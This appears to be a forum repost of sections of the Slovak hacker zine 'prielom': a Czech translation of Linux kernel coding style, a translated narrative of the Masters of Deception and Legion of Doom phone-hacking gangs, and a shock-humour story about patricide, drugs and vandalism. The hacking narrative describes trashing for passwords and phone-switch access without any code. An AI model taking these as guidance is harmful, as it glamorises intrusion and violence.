    prikazu do a "else" v prikazu if, nasledovne:


    do {
    telo smycky do
    } while (podminka);

    a

    if (x == y) {
    ..
    } else if (x > y) {
    ...
    } else {
    ....
    }

    Zduvodneni: K&R.



    Take, vsimete si, ze tento zpusob umisteni slozenych zavorek
    minimalizuje pocet prazdnych (nebo temer prazdnych) radku, bez
    jakehokoli zhorseni citelnosti. Tedy, protoze zasoba volnych radek na
    vasi obrazovce neni obnovitelnym zdrojem (myslete na 25-ti radkove
    obrazovky terminalu), ziskate vice volnych radku pro umisteni poznamek.



    Kapitola 3: Jmena



    Jazyk C je spartansky a stejna by mely byt i jmena ktera zvolite.
    Narozdil od programatoru v Module-2 a Pascalu Ceckovi programatori
    nepouzivaji roztomile nazvy jako TatoPromennaJeDocasnyCitac. Ceckovy
    programator by takovou promennou nazval "pom", coz se daleko lepe pise a
    take chape.



    ALE, zatimco na jmena s kombinaci malych a velkych pismen se pohlizi s
    nelibosti, popisna jmena pro globani promenne jsou nezbytna. Nazvat
    globalni promennou "bla" je neomalenou drzosti.



    GLOBALNI promenne (pouzivat jen tehdy kdyz je __opravdu__ potrebujete)
    potrebuji popisna jmena stejne jako globalni funkce. Kdyz mate funkci
    ktera pocita pocet aktivnich uzivatelu, meli byjste ji nazvat
    "pocet_aktivnich_uzivatelu()", nebo podobne, __nemeli__ byste ji nazvat
    "pocakuz()".



    Zakodovat typ navratove hodnoty do jmena funkce (takzvana "Madarska"
    notace) je hloupe - prekladac stejne zna typy navratovych hodnot a muze
    je zkontrolovat - a tak to jen mate programatora. Neni se co divit, ze v
    MicroSoftu delaji v programech chyby.



    Jmena LOKALNICH promennych by mela byt kratka a vystizna. Pokud mate
    nejaky celociselny citac cyklu, mel by se pravdepodobne jmenovat "i".
    Pojmenovat jej "citac_cyklu" je neproduktivni, pokud neni nebezpeci
    spatneho pochopeni. Stejne tak, "pom" muze byt promenna libovolneho typu
    pro prechodne ulozeni nejake hodnoty.



    Pokud se obavate, ze si popletete jmena lokalnich promennych, trpite
    takzvanym syndromem zvysene tvorby rustoveho hormonu funkci. Viz
    nasleduji kapitola.



    Kapitola 4: Funkce



    Funkce by mely byt kratke a libezne a delat jen jednu vec. Mely by se
    vlezt na jednu nebo dve obrazovky textu (velikost obrazovky podle
    ISO/ANSI je 80x24, jak vsichni vime) a delat jednu vec a delat ji dobre.



    Maximalni delka funkce je neprimo umerna slozitosti funkce. Takze, kdyz
    mate koncepcne jednoduchou funkci ktera je jednim dlouhym (ale
    jednoduchym) prikazem switch, kde pro spoustu ruznych ripadu (case)
    delate spoustu malych veci, je vporadku mit delsi funkci.



    Avsak, pokud mate slozitou funkci, a tusite, ze neprilis nadany student
    prvniho rocniku stredni skoly by nemusel vubec pochopit o cem ze ta
    funkce vubec je, meli byste se drzet maximalnich delek daleko tesneji.
    Pouzivejte pomocne funkce s popisnymi jmeny (pokud si myslite, ze je to
    kriticke z hlediska vykonu, muzete pozadat prekladac, aby je prelozil
    in-line - pravepodobne to udela lepe nez by jste to udelali sami).



    Dalsim meritkem funkce je pocet lokalnich promennych. Nemel by prekrocit
    5 az 10, jinak delate neco spatne. Rozmyslete si znovu funkci a rozdelte
    ji na mensi casti. Lidsky mozek je obecne schopen zaroven sledovat kolem
    7 veci naraz. Vetsi pocet ho zmate. Vy vite, ze jste genialni, ale
    mozna, ze by jste chteli chapat, co jste delali pred dvema tydny.



    Kapitola 5: Komentare



    Komentare jsou dobre, ale je zde take nebezpeci prekomentovani. NIKDY se
    nesnazte v komentari vysvetlit JAK vas kod funguje: je daleko lepsi
    napsat kod tak, ze __funkce__ je zrejma, a je ztratou casu komentovat
    spatne napsany kod.



    Vseobecne chcete aby vase komentare rikaly CO vas kod dela, ne JAK.
    Taktez, zkuste nevkladat komentare do tela funkce: pokud je fuknce
    natolik komplikovana, ze potrebujete samostatne okomentovat jeji casti,
    meli by jste se pravepodbne nachvili vratit ke kapitole 4. Muzete udelat
    male komentare abyste upozornili na neco obvzlast chytreho nebo
    nepekneho, ale pokuste se to neprehanet. Radeji vlozte komentare u
    hlavicky funkce, s tim ze reknete co dela a mozna taky PROC to dela.



    Kapitola 6: Zpackali jste to



    To je v poradku, vsichni to obcas zpackame. Pravdepodobne vam vas mistni
    unixovy radce rekl, ze "GNU emacs" automaticky formatuje vase Ceckove
    zdrojove texty a vy jste si vsimli ze to skutecne dela, ale implicitni
    nastaveni ktere pouziva neni prilis zadouci (skutecne, je horsi nez
    nahodne psani - nekonecny pocet opic klepajicich do GNU emacsu by nikdy
    nevytvoril dobry program).



    Takze, bud se muzete zbavit GNU emacsu, nebo ho nastavit tak aby pouzival
    rozumnejsi hodnoty. Abyste udelali to druhe vlozte nasledujici do
    vaseho souboru .emacs:



    (defun linux-c-mode ()
    "C mode with adjusted defaults for use with the Linux kernel."
    (interactive)
    (c-mode)
    (setq c-indent-level 8)
    (setq c-brace-imaginary-offset 0)
    (setq c-brace-offset -8)
    (setq c-argdecl-indent 8)
    (setq c-label-offset -8)
    (setq c-continued-statement-offset 8)
    (setq indent-tabs-mode nil)
    (setq tab-width 8))

    Tim nadefinujete prikaz M-x linux-c-mode. Kdyz budete psat modul, pokud
    vlozite retezec -*- linux-c -*- nekde na prvnich dvou radcich zpusobi to
    automaticky prechod do tohoto rezimu. Mohli byste take chtit pridat:


    (setq auto-mode-alist (cons '("/usr/src/linux.*/.*.[ch]$" . linux-c-mode)
    auto-mode-alist))

    do vaseho souboru .emacs pokud chcete zapnout rezim linux-c kdykoli
    editujete soubory pod /usr/src/linux.



    Ale i kdyz se vam nepodari primet emacs delat rozumne formatovani, neni
    jeste vse ztraceno: pouzijte "indent".



    Ovsem, opet, GNU indent ma stejne hloupe implicitni nastaveni jako GNU
    emacs a proto musite na prikazovem radku pouzit nekolik prepinacu.
    Nicmene, neni to tak hrozne, protoze i tvurci GNU indentu uznavaji
    autoritu K&R (lide z GNU nejsou zli, maji jen velmi scestne predstavy co
    se tohoto tyce), takze dejte indentu prepinace "-kr -i8" (coz znamna
    "K&R, odsazeni 8 znaku").



    "indent" ma spoustu prepinacu, a zvlaste pokud se tyce preformatovavani
    komentaru, mohlo by se vam hodit podivat se na manualovou stranku. Ale
    pamatujte si: "indent" neni opravnym prostredkem spatneho programovani.



    Napsal: Linus Torvalds

    Z anglictiny prelozil Milan Vavra.



    navrat na obsah



    valka elektronickych gangu



    Anonymni clen skupiny Legion of Doom nazve prislusnika Masters of Deception negrem - a v
    hackerskem podsveti od te chvile nezustane na kameni kamen....



    Vsechno to zacalo v toce 1989, mesice predtim nez na den Martina Luthera Kinga spadla AT&T,
    mesice pred tim nez se Mark Abene a Paul Stira vubec poznali. Cely ten zmatek ktery proroste
    v celosvetovou valku gangu elektronickeho podsveti vedenou hackery z New Yorku a Texasu zacina
    drive nez Paul vubec vi co to je "switch".



    Pokud byste chteli presne vedet, jak se nas cely pribeh zacina, spatrili by jste Paula civejiciho ve tme
    do kontejneru s odpatky...



    Je zacatek leta, teply vecer a Paul Stira, 19-lety mladik se naklani pres okraj kontejneru jak
    nejrychleji jen muze. Je to jedna z moznosti jak se stat hackerem. Je to cesta kterou si zvolil Paul.
    Snazi dostat se k peti ci sesti pritazlivym nabobtnalym kabelam, lezicich na dnu kontejneru.
    Ani 6 stop vysky nestaci Paulovi k tomu aby na ne dosahl. Teprve az se zacnou jeho chodidla
    odlepovat od zeme a telo pomalu prepadavat. Krev se hrne do hlavy, prichazi zavrat. A
    prece by nic nemenil za toto misto, v tmave ulicce, hrabajici se v kontejneru, ktery patri jedne
    z telefonnich spolecnosti, plnem kramu, hledajici pocitacove vytisky...



    Prisel za vytisky. Prisel ale take za dobrodruzstvim. Hned pote co do sebe nahazel veceri a rozloucil
    se s matkou, ktera si stale jeste zvykala na fakt ze manzel je mrtev. Pak naskocil na autobus.
    Vystoupil v Jamaice, Queens na krizovatce ulic Parson Boulevard a Hillside Avenue, kde nebyla
    nouze o bary a bordely. Chvili stal zavalen rozpadajicim se oparem ktery se linul z podzemni drahy.
    A pak, cerna Supra plna teenageru zastavila na obrubniku, hned vedle stojiciho Paula. Cernoky hoch
    ktery ridil si jej prohledl a usmal se. Paul nastoupil.



    Pojdme "trashovat" navrhnul nekdo ze zadniho sedadla. V Astorii je "C.O.". Paulovi se libilo kdyz
    nekdo mluvil hackerskem slangem. Slovo "trashovat" znamena hrabat se v odpadcich s nadeji ze najdete
    pocitacove vytisky s hesly a loginy. Nekdo otevrel flasu Ballantinky a Olde English 800s, Paul si loknul.
    Znal pouze jednoho z osadky auta - jeho nejlepsiho pitele ktery sam sebe nazyval Hac. Az do
    dnesni noci se Paul osobne nesetkal s Eli Ladopolousem, ridicem Supry. Znal ale jeho prezdivku: Acid Phreak.



    Dojeli k Astorii a uz sama budova o sobe Paula vzrusovala: tato obrovska spinava budova,
    stavena z cervenych cihel zabirala temer cely blok. Pred vchodem stalo: "Telefonni ustredna".
    Jako na policku nektere ze stolnich her. Ma snad park, ktery je pres ulici, obrovskou ceduli s
    nadpisem "Park"? Tadle budova byla postavena jeste za doby kdy tady byla pouze jedina telefonni
    spolecnost, Ma Bell.



    Prikradali se pomalu k budove. Zamrizovana okna, za kterymi je rozlehly prostor osvetleny zarivkami.
    Predstavte si knihovnu, tichou a tajemnou, ale misto knih, vsechny ty police jsou zaplneny od podlahy
    az po strop jedna po druhe mikroobvody. Tomu se rika "frame". Jsou tam dokonce pojizdne zebriky
    s upozornenim, ktere varuje: "Pred vystupem se podivejte nahoru". Ktery vul by se pred tim nez
    vleze na zebrik nepodival nahoru?



    V nekterem z hornich pater te budovy, spojen se vsemi temi draty, je "switch". Je to nejvetsi pocitac jaky jste
    kdy videli. Ma za ukol kontrolovat kazdou telefonni linku v Astorii. Pokud si chce zakaznik telefonni
    spolecnosti, ktery bydli na 31st Street objednat pizzu z restaurace co je za rohem, telefonni hovor
    putuje skrz medene kabaly az do "switche" ktery ho prepoji na patricnou linku do pizzerie. Znasobte
    si to par tisicem linek ktere jsou zavedeny v Queens s milionem telefonnich hovoru denne... pochopite s cim mate tu cest.



    Predstavte si ze vy nebo vasi kamosi vedi jak naprogramovat ten "switch", nebo dokonce znali pristupove
    heslo. Mohl bys zacit prozkoumavat. Do potrebne hloubky se naucit jak pracuji a muzete byt docela
    mocni. Protoze pak by jste byli schopni kontrolovat jakoukoli telefonni sluzbu. Protoze potom by
    jste si mohli zridit sobe a svym kamosum linku za kterou by se nemuselo platit. Mohli by jste sledovat
    kterykoli telefonni hovor. Ale predevsim - dozvedeli by jste se jak to skutecne vse funguje.
    Tahle vsemohoucnost stoji za etickym dosahem New Yorskeho telefonniho CEO. Zdaleka ale ne za dosahem
    nejakeho hackera teenagera, tvrdosijneho dost na to, aby se poflakoval v odpadvich, dokud nenajde pristupove heslo.



    Toto je ta vec, proc takovy vylet stoji za to. Pro osadku mladych hackeru je moznost podivat se
    skrz ta velka okna na matrici elektronickych mikroobvodu mnohem lepsi nez byt Dorotkou stojici pred branami Emeraldu.
    Tihle teenageri nejsou typickymi predstaviteli pocitacovych maniaku. Zadny z nich nesilha skz
    uzke cocky bryli. Vlastne ani jeden z nich nevlastni bryle a alespon Paul a Hac jsou stejne svalove vyvinuti jako
    jejich kamaradi ze tridy. Kdyby nebyli tak navleceni, bez problemu by tady mohli behat kolem dokola s 30-ti librovymi bagly.
    Podivejte se na Paula - tichy, nenapadny hoch. Je vzdy nenapadny pokud je ve spolecnosti vice lidi.
    Protoze je velke dite, jeho mlceni vyvolava obavy, kdyz stoji a zira jeho jasnyma, slovanskyma ocima,
    at uz tomu chce ci ne. Ty oci pohlti vse, ale nevrati nic. Eli je jeho fyzicky protejsek. Je ten
    typ po kterem jedou devcata, cool hosan. Eli ma pomaly usmev ktery zacina jako spiknuti,
    postupne se siri k vasim ocim a vtahuje vas. Jeho oci jsou cerne jak boruvky. Vlasy ma stejne cerne jako oci.



    Je to poprve co Paul "trashuje" a narovinu - pokud by jste ho znali, byli by jste sokovani ho zde videt.
    Koneckoncu pronasel rozlouckovy projev rocniku 1988 na stredni skole Thomase A. Edisona. Vyhral
    statni soutez v programovani. Chlapec ktery ma budoucnost.



    Zacinaji hledat v kontejneru. Paul vyndava bagl za baglem a podava je Hacovi. Ten je poklada na chodnik.
    Je to zalezitost rutinny, Eli dava bacha na ulici. Kdyz se konecne podari vyprostit ze sparu kontejneru i
    posledni bagl, vychazi z budovy muz, zastavuje se na sekundu dele nez by mel. Pak naseda do auta
    otevira okno a jen sedi uvnitr kary. Chlapci ztuhli.



    "Co dela?"



    "Nevim, sedi jen tak v aute."



    Paul a Hac tam stoji jako vydesene kocky, usi nastrazene, napjetim bez sebe.
    A pak se stalo to nejhorsi co mohlo...



    V dialke pocuju sirenu. Nie je to sanitka, ktorej zvuk by Paul spoznal.
    Ale urcite je to sirena, a pocut ju stale hlasnejsie. Blizsie. Teraz
    uz uplne huci a je iba za rohom, a Paul uz aj tak mal dost toho hrabania
    v smetiach. Vyskriabe sa cez plot tak rychlo ako sa len da a sleduje

    zdrhajuceho Haca na chodnik. Sirena uz im huci za chrbtom, ked sialene
    sprintuju cez ulicu, povedla chlapika co sedi v tom aute, teraz sa
    na nich diva, ako preskakuju plot. Zostava uz len par sekund, utekaju cez
    ulicu do tmaveho miesta v parku.



    Presne vtedy ako povedla nich prefrci poziarne auto.



    Pozru sa jeden na druheho, srdcia im tlcu. Cez listnate stromy je vidiet
    obrys Tribouroughskeho mosta. Zelene a biele svetla na jeho pilieroch
    v svietia v dialke. Zacina sa dalsie dobrodruzstvo. Prejdu na hadzanarske
    ihrisko, roztvaraju tasky a papierove vytlacky z tlaciarni a dokumenty sa
    sypu na zem. Noc je horuca, v uliciach to vrie a pravdepodobne sa daju
    vidiet aj hviezdy. Ale oni sa nepozeraju hore.



    Par dni na to sa Eli a Paul nevzdavaju; potrebuju experta ktory by im
    pomohol navigovat sa cez telefonny system pocitacov. Eli hovori
    "Poznam jedneho chalana...."



    Ale ukaze sa ze Eli nehovori o hocijakom chalanovi. Toto je ten pravy
    kader. Eli hovori o Phiber Optikovi, dokonca tvrdi ze stretol Phiber
    Optika ked fical po kyberpriestore. Eli ho nikdy nestretol osobne
    (ale zas, kto ho vlastne niekedy osobne videl ?), ale Eli vie dost o
    Phiber Optikovi aby vedel ze je to ten pravy clovek s odpovedami.
    Je predsa v Legion of Doom, nie ? Sakra ved on je v tom gangu clovek na
    telefony. Exploity Legionu su legendarne. O Legione sa povrava ze sa
    dokazu napojit na prebiehajuce hovory. O Legione sa povrava ze maju
    sukromne bulletin boardy vo vnutri sukromnych podnikovych pocitacovych sieti.
    Hovori sa ze archivy Legionu obsahuju najviac technickych informacii
    v celom podsveti.



    Paul nikoho v Legion of Doom nepozna, dokonca ani nevie kto v nom je - aj
    ked pocul ze tento gang zalozil notoricky hacker s menom Lex Luthor.
    Eli hovori ze ked sa Phiber Optik dostal do Legion of Doom, tak Phiber
    Optik musi byt dobry. Musis byt minimalne odvazny ak by si chcel takemuto
    chalanovi vobec zavolat. Musis si byt sebou isty, nebat sa ze ti takyto
    chalan proste zavesi, alebo este horsie, ze bude pocuvat co hovoris
    a potom ta zosmiesni. Musis mat slusnu davku sebaistoty.



    "Zavolajme mu," hovori Eli.



    Paul hovori ze OK.



    "Co chces ?" pyta sa hlas. "Ja som Phiber Optik z LOD". Keby si to pocul,
    myslel by si si ze je to sam Wizard of Oz. Phiber Optik z LOD. Paul a Eli
    to pocuju, tu silu v dunivom hlase ktory odpovedal v telefone.



    Nuz Eli sa raz "stretol" s Phiber Optikom na bulletin boarde. Ale to je
    teraz mala utecha, v situacii ked je na druhej strane linky skutocny
    zivy clen Legion of Doom, hromzivy a agresivny. Ak sa nepacis takemuto
    chalanovi, moze z teba spravit zabu - alebo minimalne zmenit ti domaci
    telefon na telefonnu budku. Kazdy hacker pocul tie story, o nejakom
    chudakovi, ktoreho mama raz zdvihla v kuchyni telefon aby zavolala Linde
    v susedstve a namiesto oznamovacieho tonu pocula v telefone nahraty hlas,
    "Prosim vlozte do automatu 25 centov." No a teraz to vysvetli mame. Ale
    nie ze by Phiberova odpoved bola totalne neocakavana. Ako vie ze nema na linke
    dvojicu lamerskych wannabe ? Casto mu taky niekto volava. Odkedy sa rozhlasilo
    ze je v Legion of Doom, jeho telefonne cislo sa v podsveti roznieslo.



    Co Eli a Paul chcu od Phibera ? Je to zjavne. Poculi ze je to ten chalan,
    co bol na telefonnych ustredniach. Ale to je jednoducha odpoved.
    Vlastne chcu omnoho viac, nie ? Chcu aby ich naucil nielen o telefonnom
    systeme, ale tiez o sofistikovanych pocitacoch ktore crackol, o neznamych
    prikazoch ktore dokaze napisat, alebo o tom ako funguje jeho mysel.
    Chcu vediet to, co chcu akykolvek dvaja chalani s trochou znalosti a s velkou
    zvedavostou. Chcu vodcu, ktory by im ukazal cestu.



    Phiber rad vyucuje. "Chcete sa stretnut ?" pyta sa.



    A Paul si mysli. Kto je tento chalan ?



    Coskoro sa dozvedia Phiberovo ozajstne meno: Mark Abene.



    Su wannabe kyber gangy, potom su skutocne kyber gangy, ktorych clenovia
    striekaju a skriabu svoje hrde graffiti po elektronickych bulletin boardoch.
    Ziadny gang nie je skutocnejsi, znamejsi, ako Legion of Doom. Jeho zakladatel
    je legendarny Lex Luthor - mysteriozny vodca ktory byva niekde na Juhu.
    Jeho kolega je Texasky tyro, ktory pouziva nick Erik Bloodaxe, meno ktore
    sa da urcite lahsie zapametat ako jeho skutocne meno, Chris Goggans.



    Legion of Doom je najlepsi z najlepsich z 50 statov. Ako sa moze niekto
    stat clenom ? Nie je to tak ze si porezes prst a skrizis krv s Chrisom
    Goggansom. Clenovia gangu na elektronickej frontiere neziju v tom istom
    state, nespoznali by sa keby stali vedla seba v autobuse. Nuz takto sa
    Mark Abene dostal do Legion of Doom. Aj ked Mark sa zaprisahal ze pred
    tym ako sa dostal do LOD nikdy nehovoril s Chrisom, takto na to spomina
    Chris (Mark zvycajne tvrdi ze Chris keca blbosti): jedneho dna pred
    par mesiacmi, dole v Texase kde bol vtedy ako vysokoskolsky student,
    Chris si vsimol ze Mark Abene sa podpisoval pod svoje postingy ako
    "Phiber Optik z LOD". A Chris si myslel, co je zac toto decko ?



    Okamzite zavolal na sever.



    "Cau, je tam Mark?"



    "Jo."



    "Toto je Chris - Erik Bloodaxe," hovori Chris. "Preco do pekla sa podpisujes
    ako clen LOD ? Nie si v LOD."



    Mark sa na sekundu zamyslel a potom pevne odvetil "Ja som v LOD."



    "Nikto nie je v LOD pokial o tom vsetci nehlasujeme," opravil ho Chris,
    ktory vysvetlil "pravidla", okrem ineho aj nevyhnutnost neanonymneho
    hlasovania.



    Potom z nejakeho dovodu sa ton konverzacie presunul na to o co sa
    obaja teenageri naozaj zaujimali: hackovanie telefonnych firiem.
    A Chris si uvedomil ze Mark naozaj vie tolko ako ludia o nom hovorili,
    hadam aj viac. Tento chalan bol dobry.



    Samotne hlasovanie prebehlo o par tyzdnov neskor. Mark sa dostal dnu.



    Ako hocijaka tlupa chalanov zo skoly v tieni The Dirty Dozen, Hogan's
    Heroes a Mission Impossible, clenovia LOD mali medzi sebou specialistov
    na nejake temne umenie. Jeden clen vedel ako sa vyraba red box, zariadenie
    montovane z tajnych suciastok z Radio Shack (pozn. prekladatela - obchod
    s elektronikou) ktore simuluje vhodenie mince do telefonneho automatu.
    Dalsi moze byt expert na programovanie v Cecku. A Mark ? Dokaze sledovat
    routovanie telefonneho hovoru z New Yorku do Pariza, oblubujuc technicke
    detajly. Dokaze detajlne popisat rozne typy pocitacov ktore riadia rozne
    aspekty telefonnej spolocnosti. Pozna vyznam vsetkych tajuplnych skratiek
    v telekomunikacnom priemysle: MIZAR, COSMOS, SAG, LMOS. Dokaze vysvetlit
    hocikomu tajomstva telefonnych systemov. Oblubuje detajly.



    A v 1989, Mark ma iba 17 rokov.



    Pravdu povediac, zopar clenom sa prilis nepaci tento novy clen. Je
    sebavedomy a ma to, co zopar ludi z Juhu vidi ako "New Yorske spravanie".
    A ma v pazi co si kto mysli.



    Ak sa Phiber Optik zastavi na nejakom bulletin boarde s poznamkami o tom
    alebo hentom tajomstve telekomunikacnej firmy, ostatni hackeri hned
    vyslu spravu: Phiber je tu. Tento board je hot. Zide sa kopa ludi.
    Telefonne linky su obsadene. Hackeri dookola volaju, s pouzitim redialu,
    skusaju cokolvek aby sa dovolali cez obsadzovaci ton, odbytny ako vyhadzovac
    v nocnom klube.



    Phiber sa tusim vyziva v tom ze zosmiesnuje hackerov ktory zverejnuju
    dezinformacie. Rad vysvetluje blbcom ktori si myslia ze COSMOS je nejaky
    tajny kluc do kralovstva telefonnej spolocnosti. (Uh, to meno znie
    dolezito, nie ?)



    Ludia si to zacinaju vsimat. Ako Chris Goggans. Jedneho dna v 1989, on
    a jeho priatel, Dr. Who, spolu kecaju na jednej hot BBSke,
    ktora sa vola The Phoenix Project. A vidia ako Phiber Optik z LOD zosmiesnuje
    nejakeho chudaka zaciatocnika.



    A to je to co si Chris o Markovi myslel: ozajstny arogantny, vychytraly
    zasran.



    Mark a Chris sa nikdy nezhodli. Mark dostane vyhadzov z Legion of Doom.



    Mal malu hadku s Chrisom a Chris ho zacal ohovarat pred ostatnymi clenmi
    LOD. Sprava o Markovom vyhadzove sa rozchyri po celom podsveti. Ako sa to
    stalo ?



    Riadna bitka. Chris povedal Markovi ze mu slohol nejaku informaciu,
    Mark tvrdi ze Chris nevie o com hovori. Kto vie ? Ale je to postnute
    na BBSkach odtialto az po Nemecko. Je to tema rozhovorov hackerskej
    elity: Phiber Optik sa dostal do potycky s Erikom Bloodaxom, a podla
    Erika Bloodaxa, Phiber Optik prehral.



    Eli premyslal.



    Mozno je Legion of Doom elita iba preto ze existuje. Ak to nie je jediny
    gang v undergrounde, je to urcite jediny ktory ma za sebou dekadu
    existencie a tucty clenov po celej zemi ktore pocuvaju Texaskeho vodcu.
    Je najvacsi. Je najhorsi. (To zatial vieme.) Ale ak ina skupina hackerov
    ohrozi primat Legionu - nuz ktovie co sa moze stat ?



    Existuje napad ktory dostal uz davnejsie, ale nakoniec jeden den v lete
    1989 ho povedal Paulovi do telefonu.



    "MOD," hovori Eli.



    "Mod?" pyta sa Paul.



    "M-O-D," hovori Eli, hlaskujuc pismena.



    A to je co ?



    "Mali by sme sa volat MOD," hovori Eli. Je to ako zart. Je to vztyceny
    prostrednik voci LOD. Vysvetluje ze je to parodia na LOD, Legion of Doom.
    Z L na M, dalsie pismeno v abecede, novy "kewl dewds" kyberpriestoru.
    Chlapci z New Yorku su opak chalanov z Texasu. Ako lepsie by sa definovali ?



    Chalani z New Yorku lahko urcia co by mali robit tak, ze pojdu proti vsetkemu
    za co stoji Legion of Doom. Markovi sa to bude pacit, ze ? Cokolvek
    proti Legion of Doom. To teraz nie je dolezite. Co je dolezite, hovori Eli, je
    ten zart: MOD. Nezalezli im na nicom. Znamena to vsetko. Masters of Disaster.
    Mothers on Drugs. Masters of Deception.



    Masters of Deception o tom nevedia, ale v lete 1989 su zoci-voci vacsiemu
    nebezpecenstvu ako je Legion of Doom. Spolocnym stretnutim v Eliho izbe
    pocas jednej neskorej noci na hacking session ktora vedie k hacknutiu
    pocitaca vlastneneho telefonnej firmou, priputaju na seba pozornost dvoch
    najlepsich muzov zakona v kyberpriestore: vysetrovatelov New York Telephone
    Toma Kaisera a Freda Staplesa.



    Kaiser, ktory monitoroval telefonne linky niektorych teenagerov cele mesiace,
    sa jedno skore rano v Auguste 1989 prebudil, a pomyslel si: dnes moze byt ten
    den kedy konecne dostaneme tych hackerov. Uz citi letne horko cez svoje
    tricko ked odchadza z domu na Long Islande aby stihol skory vlak do
    Manhattanu. Toto rano povie Federalom o svojom pripade.



    Velku zasadaciu miestnost ktoru si rezervoval, najde Kaiser plnu ludi
    okolo telefonej spolocnosti a ich pozvanych hosti - vysetrovatelov z
    New Yorkskej policie z oddelenia specialnych pripadov a ludi z US Secret Service.



    Vediac ze technicke aspekty tohoto pripadu mozu byt tazke na pochopenie
    pre ne-technikov, Kaiser a Staples vysvetluju pripad vseobecnymi slovami.



    "Ideme za vami s jednym pripadom, ktory tu mame... a ako by sme na to
    mali ist ?" pyta sa Kaiser.



    "A co vlastne mate ?" pyta sa jeden z federalnych vysetrovatelov.



    "Mame troch hackerov," hovori Kaiser.



    Mark, Paul, a Eli.



    Ale este prebehne niekolko mesiacov pred tym ako niekoho usvedcia.



    ...dokoncenie v buducom cisle...



    preklad z knizky Michelle Stallovej a Joshua Quittnera, prelozil k0lik(at)email.cz


    navrat na obsah



    je mi to jedno



    Bim BaM, Bim Bam ... To strasne zvonenie
    v hlave nje a nje prestat.... Janaa prestan kriciiim na svoju
    sestru ..... Vrrrrrrrrr do riti ved ja ziadnu sestru nemam ... Zacinam byt
    wolajako dezorientovany .... V poslednom case stracam prehlad
    o vsetkom , dokonca aj o makrobiologickom prieskume v Dolnej
    polome ... Kam to spejem .... Bodla by sprxa..... a sekera



    Wrrrrrr , momentalne som zistil ze uz newiem
    zistit absolutne nic , esteze som sa poistil, pre pripad ze by to zvonenie
    v hlave prestalo.... ..........



    Rozbil som telku , newiem co ma to chytilo ale
    dostal som take brutalne nervy, ze som to proste newydrzal .....




    Ked prisiel foter, skoro ma zabil .... Powedal
    som mu ze spat skludom moze aj pri mame a on mi jednu vrazil
    ,..... kua ... Uz viem z coho mam to zwonenie w hlave.... Zo
    zakrvavenym trickom som pomaly balil fotra do igelitu ... Fucking
    world ... Cely som od krvy ale srat ma tu nikdo nebude .. Akoze tu
    facku – dve som zniesol v pohode ale to, ze my resetoval linux, to
    bolo aj na mna wela.... chudinka PP06.... Stala ma dve vodky a 1 pagac...
    Ten pagac som vykseftil za bratov osuxany casopis minicat ....



    Linux je w riti .... Disk hlasi nejaku chybu
    ... wobec v sebe nebadam znamky lutosti za to co som spravil....



    Po prestudovani HTML z priliehavym
    nazvom MURDERS som dokoncil moje dielo .... Na tom internete sa clovek
    dozvie naozaj vsetko .... Rozhodol som sa ze budem rebel ... Budem
    pluvat na chodniky , nadavat ucitelom a smiat sa policajtom ....
    a nebudem mat ten skurweny windows....



    Porozbijal som wsetky okna na protest proti
    Microsoftu ... Akoze susedia sa cudovali ale ja som im powedal nech
    sa staraju o seba a ignoroval som ix. .... Za dalsi
    sposob uznania rebelanstva som powazowal striekanie neslusnych slov
    v spojeniach z Microsoftom ...... Bum



    Zobudil som sa na policajnej stanici ... Sprej
    my nezobrali tak som zo zvyku nastriekal I hate Microsoft ...
    Strasne ma dobili .... newladzem sa ani pohnut ... Boha je my zle .
    Na polici som tvrdil ze ten napis som naozaj ja nenastriekal .... Zase ma
    zbili ... skkurveny fizli......Hm akoze ked ma konecne doviezli domov za
    1. Som nemal cim striekat a za 2 som nemal ako striekat lebo som mal
    obe ruky zlomene .... po lici mi stekal maly pramienok krvi ... PP06 tka
    je mrtva ... co uz ale newiem ci budem mat dost igelitu aj na nu ....




    Wytah som brutalne doflusal, robilo my to
    extremnu radost. Na zaver som ogrcal tlacitka a veselo som vyhupol
    von . Zapalil som si jointa a zacalo ma drhnut , tak som w samoske
    lopol plechovku Coca Coly .... Vypil som ju na ex stale som smedny boze
    ten joint bol brutalny a ujebal som este jednu .... znova som sa
    vygrcal... zeby v tom bola nejaka suvislost ? Zaznacil som si do
    diara : NikDY VIAC nespajaj JOINTA a CoCa colu ... Ono miesat drogy
    by sa naozaj nemali .... zacalo sa zmrakat wonku som widel matne sa
    pohybujuce tiene wolajakych galganow , potmehudsky sa dohodujuc a tak
    debilne gestikulujuc ze uz aj Vinetue by poxopil ze sa jedna
    o diilerov... Dneska bol Windows po 350... kua zase isli disky
    hore ....




    Bola za mnou socialna kuratorka a pytala
    sa ma somariny .... Bola celkom pekna a ja som nesulozil ani
    nepametam .... Zacal som ju balit. Po pol hodine vstala a odisla
    no ja som si stihol vypytat je telefon keby sa njeco stalo . aj tak
    z toho nic nebude a prilepil som si na zastavku dalsi otrhany
    listok z telefonom ... Chcel som zapnut video ale bolo my to na
    prt lebo bola rozbita telka.... Pice to som si neuvedomil ... Ziadne
    porno dnes nebude pomysliac si tuto tupost som si obul bakandze nahodil
    bundu a odvrknuc "Von" na maminuotakzu "kam ides ?" som sa vytratil
    z bitu ...




    Zase ma dobili ..... tentokrat to boli dilery ...
    Vcera som im lopol dva disky ... dnes si ma pockali .... ledva sa hybem
    boze ...




    bloody, www.bloody.sk


    navrat na obsah






    0000010100000001000001020061730200619236
    pajkus
     pajkus      03.03.2004 - 13:26:54 , level: 1, UP   NEW



    ::::::::::. :::::::.. :::.,:::::: ::: ... . :
    `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
    `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
    $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
    888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
    YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

    prielom #9, 11.11.98, prielom(at)hysteria.sk, http://hysteria.sk/prielom/



    obsah



    intro

    prevratny exploTransfer interrupted


    0000010100000001000001020061730200619225
    pajkus
     pajkus      03.03.2004 - 13:23:41 , level: 1, UP   NEW




    ::::::::::. :::::::.. :::.,:::::: ::: ... . :
    `;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
    `]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
    $$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
